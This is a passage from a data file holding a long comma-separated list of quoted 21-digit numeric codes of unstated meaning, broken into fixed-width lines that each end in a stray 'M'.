06000094", "090185044102115064000", "090150027000000054000", "090169013099116076000", "090144042096112075000", "090185045097000053000", "090151020098106067000", "090123002096112053000", "090161029095115000094", "090151020103106061000", "090153049102117052000", "090169028101110000094", "090150020099115070000", "090185002099110000000", "090185008098000062000", "090151038101115064000", "090143017097107078000", "090151004000108063000", "090125005104108081000", "090123001101000051000", "090143001095112061000", "09015102M
8000000082000", "090125036097000065000", "090143029104111000000", "090148007000000054000", "090144031096112062000", "090123049101109087000", "090123024102115063000", "090123040103114064000", "090122044102000059000", "090143037096107074000", "090161045099000071000", "090151049102112075000", "090153048104112074000", "090134030102115072000", "090150044104105078000", "090125048104114080000", "090122025104110073000", "090134021095114086000", "090167037000109059000", "090134020101112077000", "090144037096115053000", "090M
143039000116072000", "090144035102000071000", "090151003099116061000", "090161024101107055000", "090148003000000082000", "090161020102000065000", "090150043098117051000", "090122010099114074000", "090123022101111000000", "090150009101000053000", "090143022000105055000", "090185027096105083000", "090169027095112056000", "090122014098117062000", "090151041000113087000", "090144003095000079000", "090169027095115077000", "090143027102113061000", "090123006104117056000", "090148027000000082000", "090143029104117000000",M
 "090122001099114078000", "090134024099105053000", "090143016099108062000", "090123013096108073000", "090185038095107083000", "090153025096117061000", "090169038098108062000", "090161009095000061000", "090123004103000070000", "090150013096108055000", "090143042000000061000", "090134040101107051000", "090125006000111062000", "090167028102106053000", "090151004095113055000", "090153030101112078000", "090169005095107061000", "090157048000000082000", "090123046098116080000", "090167002102116055000", "090169043102000085M
000", "090167031099000061000", "090153008102000061000", "090151006098116062000", "090161029095112000000", "090169037000117066000", "090153003102108056000", "090153050000117079000", "090144018099000075000", "090151018098117072000", "090167038101114065000", "090185050096000053000", "090185044098108070000", "090152034000000082000", "090150010098000065000", "090125013101108066000", "090151034099114087000", "090153016095110083000", "090134009095108052000", "090185014095110063000", "090125040000111000000", "0901530181021M
16056000", "090185002102117083000", "090169008102107087000", "090185009095111053000", "090151039102106071000", "090143041095105056000", "090123029000114000000", "090134036095110066000", "090122013095115055000", "090143043000112077000", "090125042095000063000", "090185026099113065000", "090122025099106079000", "090151027000117055000", "090144025000108053000", "090153041099105051000", "090143016099116000000", "090185024099117056000", "090143046095106067000", "090161014095115058000", "090143036000115055000", "09013403M
2000000070000", "090185042000114000000", "090150034000113061000", "090161034000116053000", "090185036000106065000", "090123041000116052000", "090169033000111077000", "090161034000117085000", "090144046000110072000", "090125028000116062000", "090144003000112053000", "090153010000108077000", "090185044000106066000", "090167038000108077000", "090144037000000070000", "090125006000115072000", "090161013000111079000", "090185001000110086000", "090144002000109086000", "090125046000113083000", "090161046000105058000", "090M
150043000109070000", "090151043000000065000", "090143009000106063000", "090151002000114072000", "090134032000111062000", "090169042000105058000", "090143038000107086000", "090122025000107072000", "090161031000113052000", "090123028000000070000", "090151036000110075000", "090153041000117075000", "090123018000116083000", "090144032000107071000", "090169036000109055000", "090185027000115053000", "090125009000109056000", "090161032000113067000", "090161015000108051000", "090144039000107075000", "090153012000105085000",M
 "090167004000117085000", "090122049000000072000", "090153036000111087000", "090161048000114067000", "090150044000116051000", "090125006000111087000", "090134002000106080000", "090167004000000072000", "090161034000109062000", "090185037000110071000", "090153015000000067000", "090150047000116061000", "090167025000110075000", "090144023000105079000", "090185009000000083000", "090151018000117063000", "090185025000113070000", "090161038000111060000", "090169044000113062000", "090134013000116051000", "090123042000107052M
000", "090134022000108077000", "090150036000105061000", "090143050000107063000", "090150012000105061000", "090125022000109056000", "090123022000116077000", "090169027000000062000", "090161042000106067000", "090122040000116079000", "090143032000113072000", "090134044000106061000", "090123022000115086000", "090185044000108070000", "090144028000113051000", "090167040000117063000", "090161046000106060000", "090167010000108055000", "090123018000111056000", "090161032000116000000", "090125034000117062000", "0901220030001M
10083000", "090143048000113058000", "090134012000111063000", "090161032000000056000", "090169008000107053000", "090161028000109080000", "090125006000116065000", "090161025000000056000", "090150024000110000000", "090122044000111055000", "090185024000109087000", "090125037000108062000", "090143037000113071000", "090134009000114055000", "090167012000110067000", "090169024000109086000", "090123006000109087000", "090167042000116055000", "090185003000116055000", "090169006000000058000", "090123046000111067000", "09013400M
1000111077000", "090122027000106067000", "090144047000117063000", "090185032000000000000", "090122024000114070000", "090144040000115071000", "090169047000111053000", "090134031000114080000", "090169039000107080000", "090153012000105077000", "090167023000000080000", "090167028000117060000", "090167022000113062000", "090150048000105070000", "090151032000106079000", "090167036000117080000", "090150027000111067000", "090150034000116062000", "090151031000112080000", "090122048000108071000", "090161014000000075000", "090M
134027000111070000", "090122013000000052000", "090185035000109070000", "090153035000117063000", "090169025000111067000", "090153047000109080000", "090150041000111052000", "090185004000113077000", "090122036000105053000", "090161044000117077000", "090143037000108087000", "090185008000114072000", "090122005000107083000", "090167030000111000000", "090125010000109083000", "090123034000117079000", "090134035000109080000", "090167003000115072000", "090150012000000086000", "090122025000106080000", "090153046000105000000",M
 "090125010000111063000", "090169009000115058000", "090122038000117087000", "090123024000116080000", "090143034000117067000", "090161030000114065000", "090151010000114060000", "090151027000000070000", "090169031000106077000", "090161036000116071000", "090134044000116053000", "090185044000113072000", "090123031000115051000", "090169034000112052000", "090151031000109077000", "090122003000112058000", "090144032000114063000", "090169028000116067000", "090122031000117080000", "090167027000105067000", "090125046000106077M
000", "090161014000114052000", "090125032000117080000", "090169039000115083000", "090185024000113087000", "090134025000112087000", "090144034000113067000", "090167044000113052000", "090134009000111053000", "090144018000117051000", "090151024000114086000", "090125039000107080000", "090125031000109058000", "090125009000112051000", "090151044000000086000", "090151023000113071000", "090151023000108052000", "090150037000108063000", "090122048000114000000", "090125008000105083000", "090144005000115086000", "0901340100001M
05071000", "090169039000107086000", "090151025000108087000", "090144046000116071000", "090151025000108052000", "090161018000112071000", "090123049000106079000", "090167023000112087000", "090161005000114086000", "090125033000114083000", "090143034000106000000", "090122041000111086000", "090169009000116063000", "090169022000109083000", "090151031000108079000", "090134009000113063000", "090167025000106000000", "090122010000113083000", "090169013000000086000", "090144015000000087000", "090123008000109000000", "09016903M
4000107052000", "090123013000112052000", "090151005000112052000", "090153049000108000000", "090143013000115000000", "090185035000117079000", "090143041000000051000", "090125048000108079000", "090169031000116000000", "090151046000106083000", "090143039000109000000", "090169041000113051000", "090151008000114052000", "090134049000111051000", "090125013000107086000", "090167049000114000000", "090151039000113000000", "090150003000114000000", "090134028000106000000", "090144015000114000000", "090167005000105000000", "090M
144018000115000000", "090122018000109000000", "090143027000114000000", "090185012000109000000", "090151035000107000000", "090134033000105086000", "090153006000000000000", "090122034000116000000", "090153032000111000000", "090185015000105000000", "090122039000109000000", "090151037000115000000", "090125013000106086000", "090167030000114000000", "090144034000000000000", "090143023000117000000", "090125025000116000000", "090143022000117000000", "090123023000117000000", "090134003000000000000", "090153039000117000000",M
 "090185003000117000000", "090134033000116000000", "090185035000000000000", "090134039000115000000", "090167034000111000000", "090167036000115000000", "090150012000111000000", "090167032000114000000", "090134048000117000000", "090134018000111000000", "090150010000114000000", "090167036000114000000", "090143025000111000000", "090150015000106000000", "090144039000107000000", "090134003000111000000", "090143003000114000000", "090185039000000000000", "090185006000106000000", "090123033000116000000", "090122048000107000M
000", "090143023000105000000", "090167033000107000000", "090143024000117000000", "090123030000114000000", "090125037000114000000", "090123024000105000000", "090134034000106000000", "090143036000117000000", "090144018000106000000", "090122033000107000000", "090125031000000000000", "090123041000114000000", "090185031000105000000", "090185025000106000000", "090122010000116000000", "090185005000114000000", "090153048000105000000", "090134041000106000000", "090143031000000000000", "090134027000000000000", "0901530120001M
07000000", "090122023000116000000", "090144012000116000000", "090153012000117000000", "090153035000105000000", "090143031000116000000", "090122024000117000000", "090167023000114000000", "090143027000105000000", "090185034000105000000", "090185012000111000000", "090167018000117000000", "090185010000105000000", "090143023000114000000", "090122034000114000000", "090167015000117000000", "090134015000116000000", "090150015096111058000", "090143005000117000000", "090122022000000000000", "090167024000117000000", "09014300M
5101105053000", "090122004000105000000", "090153046000114000000", "090144027000111000000", "090185031000000000000", "090185035000105000000", "090167015000000000000", "090143018000116000000", "090150049000116000000", "090122033000000000000", "090150013000114000000", "090153049000000000000", "090167004000114000000", "090167023000116000000", "090167004000000000000", "090143027000116000000", "090143003000111000000", "090143049000000000000", "090144012096109078000", "090153003000111000000", "090143049000116000000", "090M
185025000116000000", "090167037000111000000", "090153004000116000000", "090134027000105000000", "090167013000000000000", "090134005000111000000", "090150031000114000000", "090167015000111000000", "090144048000116000000", "090134031000114000000", "090144025000117000000", "090167006000105000000", "090167031000116000000", "090143034000117000000", "090134048000114000000", "090150013000000000000", "090150013104111081000", "090134037000117000000", "090134035000000000000", "090144023000116000000", "090150018000000000000",M
 "090143027101106074000", "090143048000000000000", "090153018000000000000", "090153006000114000000", "090150018000111000000", "090150013102116067000", "090150003000000000000", "090153033000116000000", "090143048000114000000", "090144049000111000000", "090167035000000000000", "090144006000117000000", "090144035000000000000", "090122034000117000000", "090167041000111000000", "090143037000117000000", "090150003000107072000", "090167005000117000000", "090122004000117000000", "090153048000000000000", "090143041000111000M
000", "090167015000114000000", "090122048000117000000", "090144004000111000000", "090122037000111000000", "090144041000111000000", "090144023000114000000", "090167037000000000000", "090152034000000082000", "090167018000114000000", "090167013000111000000", "090153005000111000000", "090122048000111000000", "090167018000111000000", "090167004000117000000", "090167006000117000000", "090122031000000000000", "090122013000111000000", "090144037000000000000", "090144034000111000000", "090153006097109069000", "0901220180000M
00000000", "090167013101112052000", "090153031000000000000", "090153013000000000000", "090153004000000000000", "090153041000000000000", "090144006000000000000", "090167049000111000000", "090167013098111074000", "090167049000000000000", "090153031000000082000", "090167041000000000000", "090153037000000000000", "090167041000111074000", "090167031000000000000", "090153006099110073000", "090167018000000000000", "090167004097106065000", "090167037098105078000", "090153004100113086000", "090153024000000000000", "09016704M
8000000000000", "090153004000000054000", "092163003103114062000", "092162042102110051000", "092139032099107051094", "092131003000000054000", "092136042099111072094", "092163047096114080094", "092152001000000082000", "092147024000107085000", "092147025095107071000", "092139017103111065000", "092139025103000087000", "092127045103110076000", "092128030098117081093", "092163038000108081000", "092128023104107071000", "092135010099111000000", "092127002000105070000", "092162043095112081000", "092128032097115073000", "092M
131003102108075000", "092139001098112080000", "092180035099107071000", "092139020101107080000", "092156017102112071000", "092180036097116083000", "092128018104117076000", "092131006097115065000", "092147009098116000000", "092147042103111065000", "092162048101110063000", "092127043100113087000", "092156023096105084000", "092118022097112079000", "092147003098109063000", "092131050096108051000", "092118026103106077000", "092147035104109066000", "092162026098110071000", "092135032000117065000", "092139009095105077000",M
 "092156020000105080000", "092136017000000082000", "092130024096105075000", "092131014095114067000", "092136049095114062000", "092127028095106051000", "092136038000106067000", "092156033100117085093", "092156016099115071000", "092131041098108065000", "092118027000108064000", "092118050101116074000", "092128038099115063000", "092180035095108061000", "092136048099000073000", "092163032100112069000", "092118032103000053000", "092139018101113066000", "092157032000000082000", "092128048101116081000", "092147026101109062M
000", "092128005099114067093", "092130023103000072000", "092147017097107083000", "092162007095115064000", "092136010103117000000", "092131024098110086000", "092180034000000075000", "092135018096107084000", "092139026101115086000", "092156043000000082000", "092130041000114055000", "092163016100115070094", "092147018000112079000", "092136048096113073000", "092131027100115074094", "092128007101116084000", "092131009095110074000", "092157016000000054000", "092135022098115085000", "092180029100111000000", "0921280451031M
12000094", "092127014100110073000", "092118025102111062000", "092118012102111063000", "092131027104106063000", "092156047103113077093", "092128037099105066000", "092136031101106078000", "092118042101112083000", "092162040098113070000", "092156044096108062000", "092130023104115064000", "092157033000000082000", "092118045000109069093", "092163014101106067000", "092147009102109052000", "092156035104112064000", "092135018098111077000", "092127034099113063000", "092152036000000082000", "092128029101110000000", "09216303M
3104000061093", "092162015096109052000", "092118032000112066000", "092147026098113066000", "092147013096110068000", "092147009095109078000", "092136024000106073000", "092127029095108000000", "092131017102114066000", "092118050098108052000", "092118011098000075000", "092156007101117076000", "092156046102107073000", "092131005000108000093", "092118037102109062000", "092163007104109080094", "092127009099115077000", "092118038101110061000", "092135038103105072000", "092127035000115085000", "092127045000000054000", "092M
131009095116051000", "092128048097105061094", "092163050097111061000", "092130042097106064000", "092147030096110053000", "092147015102105070000", "092147004103113073000", "092136034096109066000", "092127016096108087094", "092135005101108077000", "092135015104110071000", "092147049000111077000", "092180049103105065000", "092139010103108055000", "092131025101106075000", "092130049096108053093", "092128033102111055000", "092136036095105080000", "092130017097108075000", "092147030103110080000", "092163012000111052000",M
 "092162003000117056000", "092163005097109061000", "092130026000108086000", "092135009099115074000", "092135038102106086000", "092148037000000082000", "092139038104110076000", "092127022095117051000", "092163028000105074000", "092130026096105079000", "092162037101116060000", "092180038104109069000", "092127009095111065093", "092130050098000071000", "092162006099105056000", "092136001102111080000", "092118036103112080000", "092139038095108070000", "092180024103108065000", "092118020104113083000", "092136037103116056M
094", "092156028096109064000", "092180036104113055000", "092162025096109053000", "092130043099108087000", "092127042095105071000", "092135013096107083093", "092162018095115074000", "092127016099000075000", "092162046000115078000", "092127028102105085000", "092152014000000054000", "092118048099110066000", "092127032101105075000", "092130022099112000000", "092156049000111081000", "092135036099108086000", "092147011104109080094", "092156013098107071093", "092139002103000059000", "092139028102117073094", "0921190450000M
00057000", "092127029095117000000", "092180020096114075000", "092131025000110076000", "092162020000108080000", "092130049103116066000", "092135033097113000094", "092135048097111081000", "092131021102117075000", "092128017102114060000", "092135036096106078000", "092135032099110061000", "092135015097110071000", "092156040103114076000", "092131046095110084000", "092157006000000082000", "092136010097000071000", "092131011096116070000", "092128029102116000000", "092127040097108056000", "092156048104106067000", "09215703M
9000000057000", "092127028101116055000", "092156044095109075000", "092127041000107078000", "092180018095108074000", "092135029098105000000", "092180034097105083000", "092127047102114079094", "092139013101105075000", "092163047000117075093", "092131049098109079000", "092118031102105059094", "092148042000000082000", "092156011097107053094", "092118009102114061094", "092136030098116070000", "092127037101105079000", "092139015095117051000", "092131003101110052000", "092118038099115063094", "092135001101116086000", "092M
128044095112065000", "092127023095113058000", "092130034097117055000", "092147047097114084000", "092156028104116086000", "092131038104117074000", "092156025095112070000", "092136003104109061000", "092128028098115075000", "092136048095000063000", "092139041000116064000", "092162033104112072000", "092139036095111056000", "092180005104114064094", "092128024096107053000", "092162030101111077000", "092135028000116075000", "092156027000108067000", "092135040098000075094", "092162016101114071000", "092131029101111000094",M
 "092139031098110081000", "092156023095108071000", "092147011101106083000", "092180011098117067000", "092131024096111085000", "092156047099115069000", "092118001102113086000", "092147010000107085000", "092139015102108061000", "092118048104111066000", "092131028101106084000", "092136013099113072000", "092156001098107079000", "092127039095108059000", "092163006096114070000", "092128013098115000000", "092127033096112067000", "092127009099108065000", "092163037104105059000", "092136034104000086000", "092162050096116063M
000", "092118033099113085000", "092136001098112058000", "092147036104110087000", "092127043000110076093", "092130037095110078000", "092139038102112000000", "092180010096107055000", "092136046102107059000", "092139036104111077000", "092130023095110067000", "092118034095106078000", "092139037102109065000", "092128020095112051000", "092163011098117083000", "092180029099109000000", "092127008101000083000", "092147023104115081000", "092118046000108083000", "092162037098108000000", "092135018095107061000", "0921800330981M
08062000", "092163023095108069000", "092128003102115058000", "092128022096114079000", "092127040096114075000", "092148035000000057000", "092156006102107071000", "092131044095000058000", "092128005099109065000", "092139045000107053000", "092127029101116000000", "092136047098117062000", "092147047101116086000", "092127004095115087000", "092130050096000055000", "092118031096000085000", "092128034096106070000", "092180044102109055000", "092162030098107072000", "092128013000116086000", "092118031099108070000", "09211900M
4000000057000", "092156028095107085000", "092127033099114067000", "092157007000000054000", "092127014102117000000", "092127038102109080000", "092180001000106078000", "092156010000000057000", "092130033098112084000", "092127014095105063000", "092118028099113079000", "092118013101117083000", "092131016098109084000", "092157014000000057000", "092139014000112086000", "092156048101112061000", "092156001098115086000", "092131047096110067000", "092130032099110087000", "092163003102109086000", "092139013098113053000", "092M
135043096107077000", "092135003102115070000", "092128025102116000000", "092135002095109080000", "092156002095108058000", "092139048095105072000", "092139004095116000000", "092162015098111079000", "092135031099111067000", "092162016098109072000", "092127031099115083000", "092128010098106076000", "092131042098114052000", "092127014095116062000", "092130047000106065000", "092135007102111055000", "092156024000105051000", "092139043099117061000", "092127018099113059000", "092148012000000057000", "092180040000116060000",M
 "092127024098112058000", "092156029102107000000", "092135036099110070000", "092180015098106072000", "092130046095117056000", "092127040098105080000", "092156006102109052000", "092128036098107067000", "092163008098111053000", "092131031000114052000", "092136032102114062000", "092163048000117052000", "092130003102105067000", "092162032099117079000", "092163008098113078000", "092148031000000054000", "092128008099112078000", "092118033098112051000", "092139041098107086000", "092139041102106072000", "092139046099110070M
000", "092156009000000085000", "092135030102116060000", "092162002102116053000", "092162013000113058000", "092118046000113083000", "092163029098111000000", "092136049102112075000", "092136012099107085000", "092180031102113000000", "092130042000000057000", "092131046102117085000", "092130049102115086000", "092156004099113051000", "092135031098114078000", "092162012102108000000", "092136014102108058000", "092139025099112052000", "092180046000115087000", "092163049000106085000", "092128006000115087000", "0921390040991M
15078000", "092139025102000058000", "092128033099116072000", "092163014102116055000", "092135013000114075000", "092118039000108000000", "092139042000110070000", "092156048099112052000", "092127001000112058000", "092135047000116056000", "092130032000108063000", "092139039099117086000", "092127031099110075000", "092127033099113087000", "092127008099000085000", "092163043099110063000", "092148024000000057000", "092128028000105000000", "092163008099000053000", "092135021000106060000", "092127003000000058000", "09213603M
0000112056000", "092163002000106063000", "092127048000106075000", "092135035000117078000", "092130020000105079000", "092128046000110072000", "092130049000112065000", "092136045000108059000", "092136032000115065000", "092136023000108087000", "092131028000107070000", "092163043000116067000", "092130003000000055000", "092128021000113063000", "092128042000112080000", "092147031000107065000", "092127032000105079000", "092118018000112083000", "092131045000106060000", "092162025000000063000", "092127040000114077000", "092M
162041000108077000", "092147037000111087000", "092180048000115087000", "092131044000105051000", "092139038000116056000", "092162003000106071000", "092147032000109052000", "092148038000000054000", "092127024000115065000", "092156010000106052000", "092128012000115077000", "092147028000115085000", "092118033000106052000", "092147015000113058000", "092127030000110070000", "092127003000111065000", "092147023000111067000", "092131008000111071000", "092136046000109071000", "092131044000112058000", "092136025000107086000",M
 "092131043000000058000", "092131031000109067000", "092128040000000080000", "092156049000111056000", "092131031000116065000", "092180028000105078000", "092180005000110063000", "092130014000113086000", "092163027000115087000", "092148021000000054000", "092118045000107077000", "092130001000117062000", "092127015000111079000", "092118042000000059000", "092128049000114076000", "092135048000111061000", "092147006000109086000", "092127015000110056000", "092136027000117000000", "092180030000108000000", "092127040000109052M
000", "092128024000110062000", "092118039000000052000", "092162044000109078000", "092130032000110086000", "092180024000116077000", "092135043000108071000", "092131036000106060000", "092118035000108062000", "092156032000116086000", "092180001000115067000", "092162005000113061000", "092135035000112079000", "092147009000105079000", "092152031000000054000", "092131009000111086000", "092162027000117083000", "092136035000105061000", "092163012000114077000", "092147001000110080000", "092139040000111083000", "0921310040001M
08067000", "092163038000108000000", "092156003000111079000", "092118048000115053000", "092127041000107079000", "092139036000114086000", "092127031000116083000", "092156008000112063000", "092135031000112061000", "092180014000109063000", "092139024000111079000", "092180037000000052000", "092139001000106061000", "092128018000115056000", "092128003000115072000", "092127028000109070000", "092162018000108053000", "092139021000113000000", "092147034000109063000", "092180002000111062000", "092127003000111072000", "09214800M
4000000054000", "092163008000106079000", "092127021000000052000", "092163039000113063000", "092163018000105056000", "092180006000105056000", "092156048000108070000", "092131009000106065000", "092163021000107080000", "092130049000113052000", "092136034000105056000", "092163035000113080000", "092128002000105079000", "092131033000109072000", "092162049000114087000", "092136030000000070000", "092180027000109055000", "092147006000117083000", "092118012000113000000", "092156045000115065000", "092156025000106062000", "092M
139027000105079000", "092163020000113056000", "092180034000109070000", "092136008000109071000", "092131033000113077000", "092136031000116051000", "092156006000112079000", "092163020000109080000", "092135045000111086000", "092128036000109070000", "092127003000116056000", "092128022000107087000", "092131042000108086000", "092118022000114051000", "092130039000116055000", "092135009000113052000", "092130035000105062000", "092128034000112077000", "092147005000108087000", "092131004000000055000", "092118020000116055000",M
 "092130042000105063000", "092130034000117070000", "092163002000115067000", "092131008000109063000", "092162024000000067000", "092147025000112053000", "092139033000117063000", "092128010000108063000", "092127049000109077000", "092139018000000079000", "092180037000106083000", "092139023000000061000", "092163022000111077000", "092163008000111083000", "092135042000117067000", "092130037000117000000", "092162033000107086000", "092135034000109051000", "092135003000111071000", "092131002000106055000", "092118037000117063M
000", "092131010000115087000", "092163040000111062000", "092130041000109052000", "092135006000115070000", "092135035000116055000", "092131049000107061000", "092131035000107056000", "092147035000115067000", "092163032000000079000", "092136006000111087000", "092139004000116072000", "092163039000111083000", "092130004000105051000", "092130040000112056000", "092162024000114079000", "092127046000113071000", "092128041000116053000", "092147032000113053000", "092136035000107079000", "092162027000000063000", "0921560130001M
15061000", "092118004000000062000", "092118041000106080000", "092118037000111079000", "092163010000117062000", "092162034000111087000", "092162015000116072000", "092127023000000055000", "092118003000115052000", "092147002000000070000", "092163024000113000000", "092131003000112000000", "092118015000113071000", "092136037000106000000", "092118004000115077000", "092130031000116000000", "092162006000116087000", "092147022000112086000", "092136003000113072000", "092135028000116000000", "092162046000105056000", "09213603M
2000117070000", "092128004000115000000", "092162025000114051000", "092162037000112071000", "092180027000116052000", "092136044000113053000", "092118013000107077000", "092118013000000063000", "092163008000112051000", "092156023000106087000", "092118028000116055000", "092135031000114077000", "092156037000105067000", "092130048000106062000", "092127003000115077000", "092118031000114056000", "092156044000111071000", "092131039000113053000", "092139005000114067000", "092131003000112083000", "092147023000113063000", "092M
136046000113061000", "092156036000113080000", "092135041000114062000", "092147003000114052000", "092130024000113051000", "092147025000107077000", "092127027000117062000", "092156041000107052000", "092147002000000072000", "092180004000117070000", "092147024000112067000", "092147033000111000000", "092147046000114071000", "092139037000107000000", "092130002000117052000", "092162012000107071000", "092135022000116053000", "092180027000111070000", "092180046000107087000", "092147005000107071000", "092135015000107052000",M
 "092130012000107080000", "092127018000113083000", "092162003000117051000", "092162037000000083000", "092156031000117072000", "092130046000107053000", "092147025000116055000", "092135024000111061000", "092162024000000052000", "092135033000116053000", "092118004000117055000", "092130018000000062000", "092147023000111062000", "092162006000105061000", "092162024000117055000", "092118006000111061000", "092163039000116080000", "092127025000114055000", "092163015000111080000", "092130008000105080000", "092180041000113080M
000", "092130031000000062000", "092130018000114077000", "092131027000117062000", "092130028000106080000", "092127044000113061000", "092136013000116083000", "092118028000117051000", "092162009000114000000", "092162031000106083000", "092127034000106055000", "092147013000111053000", "092130012000106077000", "092128035000117062000", "092127037000105067000", "092156033000117000000", "092128028000114061000", "092163035000105087000", "092156036000117072000", "092162049000116072000", "092128024000114055000", "0921350440001M
14077000", "092128004000116051000", "092156041000000062000", "092147025000114087000", "092163024000116087000", "092163009000113055000", "092127006000111087000", "092118015000105072000", "092156031000105000000", "092156012000116053000", "092118010000113083000", "092135034000105067000", "092162008000117083000", "092127015000114061000", "092136009000106000000", "092118036000000087000", "092162004000111051000", "092147039000113072000", "092131023000000055000", "092127022000000053000", "092118003000117000000", "09213004M
8000116051000", "092180037000106000000", "092139048000116051000", "092162039000113051000", "092163018000105000000", "092118036000117053000", "092128034000105072000", "092139015000117072000", "092147012000113072000", "092163049000116051000", "092136036000000072000", "092156046000113051000", "092156023000105000000", "092127004000114000000", "092127034000111000000", "092130009000114000000", "092128027000114053000", "092118013000000053000", "092131010000000000000", "092118044000106000000", "092118028000117000000", "092M
180018000000000000", "092156048000114000000", "092180046000116000000", "092118008000113000000", "092147025000106000000", "092127025000111000000", "092139015000116000000", "092156049000106000000", "092131006000117000000", "092147039000111000000", "092128023000106000000", "092156012000000000000", "092163028000113000000", "092130010000113000000", "092131024000111000000", "092147015000114000000", "092130048000114000000", "092128027000117000000", "092180005000106000000", "092131039000113000000", "092130013000117000000",M
 "092130036000117000000", "092127015000111000000", "092128027000111000000", "092163025000000000000", "092135005000106000000", "092136023000000000000", "092180025000117000000", "092139034000116000000", "092128039000111000000", "092139003000111000000", "092135013000116000000", "092131036000000000000", "092127024000106000000", "092136036000116000000", "092118031000114000000", "092156008000117000000", "092131044000106000000", "092139012000111000000", "092131004000106000000", "092139018000111000000", "092162044000117000M
000", "092162010000000000000", "092139013000106000000", "092130041000114000000", "092135041000117000000", "092128025000000000000", "092127013000114000000", "092156046000117000000", "092135027000114000000", "092163031000106000000", "092130037095110051000", "092128010000117000000", "092156027000000000000", "092135036000114000000", "092163034000116000000", "092136022000111000000", "092135034000114000000", "092180025000114000000", "092127012000116000000", "092136035000000000000", "092135013000114000000", "0921270220001M
16000000", "092180027000116000000", "092127022000000000000", "092136044000114000000", "092139025000111000000", "092156035000111000000", "092135049000116000000", "092128039000000000000", "092128025000116000000", "092163048000116000000", "092127027000114000000", "092135012000116000000", "092156027000111000000", "092135025000116000000", "092136044000117000000", "092128015000117000000", "092131035000111000000", "092136049000111000000", "092130005000116000000", "092130015000117000000", "092180041000117000000", "09212804M
4000116000000", "092130035000000000000", "092136031000111000000", "092130027000111000000", "092162039000114000000", "092127039000116000000", "092162013000116000000", "092135046000111000000", "092156015000114000000", "092163003000111000000", "092130023000000000000", "092128044104108061000", "092130041000000000000", "092135013000105083000", "092128003000111000000", "092156037000116000000", "092135003000116000000", "092163039000000000000", "092136004000000000000", "092162005000116000000", "092180022000116000000", "092M
180025097000056000", "092180041000111000000", "092180006000111000000", "092162006000116000000", "092128041000117000000", "092163012000114000000", "092180025000116000000", "092136027000111000000", "092139015000114000000", "092131024000110070000", "092156027101108083000", "092136018000117000000", "092180049000111000000", "092139010000111000000", "092136034000116000000", "092127012000117000000", "092128005000116000000", "092162044000111000000", "092162039000111000000", "092128034000111000000", "092163025000117000000",M
 "092162049000111000000", "092128018000111000000", "092136049000114000000", "092136023000116000000", "092156010000117000000", "092127018000117000000", "092131023000117000000", "092156027000117000000", "092162041000111000000", "092131018000114000000", "092128005000117000000", "092127005000117000000", "092180004000000000000", "092127041000117000000", "092156037000111000000", "092128041102110070000", "092136022104116086000", "092163027000114000000", "092139048000000000000", "092180034000111000000", "092139004000114000M
000", "092162044102114067000", "092127048000117000000", "092136018000111000000", "092136041000111000000", "092139012000117000000", "092128048000117000000", "092163010000000000000", "092136031000114000000", "092127003000000000000", "092127013000000000000", "092131034000114000000", "092157025000000082000", "092162039000108065000", "092156034000000000000", "092180044000117000000", "092127048000111000000", "092136027000114000000", "092128041000000000000", "092127013000111000000", "092128006000117000000", "0921800370001M
14000000", "092139037000000000000", "092180048000117000000", "092163006000000000000", "092136041000000000000", "092136037000117000000", "092136044098000073000", "092139048100117084000", "092156037000114000000", "092136025000114000000", "092156037000000000000", "092156024000117000000", "092162006000117000000", "092128048102000058000", "092136037000108078000", "092127048099116084000", "092136024000000000000", "092139003000000000000", "092156041000000000000", "092163044000000000000", "092127005000114000000", "09212800M
5000000000000", "092148027000000057000", "092162004000114000000", "092127041000114000000", "092156041000114000000", "092156031000114000000", "092127037000114000000", "092162003000000000000", "092128005099117085000", "092127031000117000000", "092162031000114000000", "092162031098115061000", "092156037095113058000", "092127044000114000000", "092136034000000000000", "092136018101105074000", "092136003000000000000", "092127024000114000000", "092162034000000000000", "092139018000000000000", "092162025000114000000", "092M
128041000114000000", "092156048000117000000", "092136005000000000000", "092128025100106063000", "092127023000000000000", "092136048000000000000", "092162006000000000000", "092162037000117000000", "092139006000000000000", "092139044000000000000", "092128034000117000000", "092163037000117000000", "092128004000117000000", "092180005000000000000", "092127018000000000000", "092156048000000000000", "092128034000000000000", "092128024000000000000", "092163003000000000000", "092136025000000000000", "092139041000000000000",M
 "092128005096105079000", "092127023099111085000", "092139024000000000000", "092180034000000000000", "092127048000000000000", "092139034000000000000", "092128048000000000000", "092180031000000000000", "092128048096115056000", "092136010000000000000", "092127005000000000000", "092156013000000000000", "092136031000000000000", "092128048101110058000", "092128013000000000000", "092156031000000000000", "092139041102114086000", "092152034000000054000", "092127044000000000000", "092136037000000000000", "092127044101108056M
000", "092152024000000082000", "092136031101115072000", "092180024000000000000", "092127031000000000000", "092139013000000000000", "092139018096112000000", "092136004099116085000", "092136004000112080000", "092180041000000000000", "092180004100115052000", "092127024000000000000", "092139034097112055000", "092152044000000082000", "092127044098109067000", "092139004000000000000", "092180023000000000000", "092180013000000000000", "092139048095107071000", "092139031000000000000", "092127027000000000000", "0921270040000M
00000000", "092127006000000000000", "092127027097105083000", "092127027096114081000", "092180034000115087000", "092157031000000054000", "092127044000000054000", "092180004104106086000", "092148027000000082000", "092180006000000000000", "092127048000117071000", "092180027000000000000", "092127031100113073000", "092180024096111074000", "092139004095116086000", "092180018098109075000", "092180041095114071000", "092139034000000074000", "089176033095114084000", "089160014097000071000", "089129044102107081000", "08917603M
9102117051000", "089138043101108066094", "089170024098116077000", "089186050101114071000", "089149012102115071000", "089152008000000054000", "089148021000000054000", "089170038097108071000", "089138013000106080000", "089177037096109062000", "089186004100110086094", "089129012103108081094", "089181050097110080000", "089149047102114000000", "089170038099116052000", "089183044098117073000", "089183013100106083000", "089170037101107061000", "089129040095113062000", "089146027096117074000", "089186016096106060000", "089M
170027103117073000", "089170023000110075094", "089177050100115071000", "089146003102114067000", "089148023000000054000", "089181033100114085000", "089171006101117061000", "089157037000000082000", "089171007102114080000", "089186021000113077000", "089120011097000065000", "089171027102105069093", "089129014100105073000", "089138038000114072000", "089170021104115059000", "089160033098111074000", "089183038000112073000", "089183047102110064000", "089177045102116074000", "089157046000000054000", "089171030099113051094",M
 "089181039099116052000", "089170032100113087094", "089177028102116052000", "089177037104000078000", "089186035000107062000", "089157012000000082000", "089176027102105061094", "089170003097117074000", "089176027097115056000", "089138023096108079000", "089160008102107051000", "089129009096110086000", "089181009104114000093", "089129009096000065094", "089186017102000061000", "089170030102106051000", "089148045000000082000", "089170039098106071000", "089120048102116060000", "089183007099117079000", "089157039000000082M
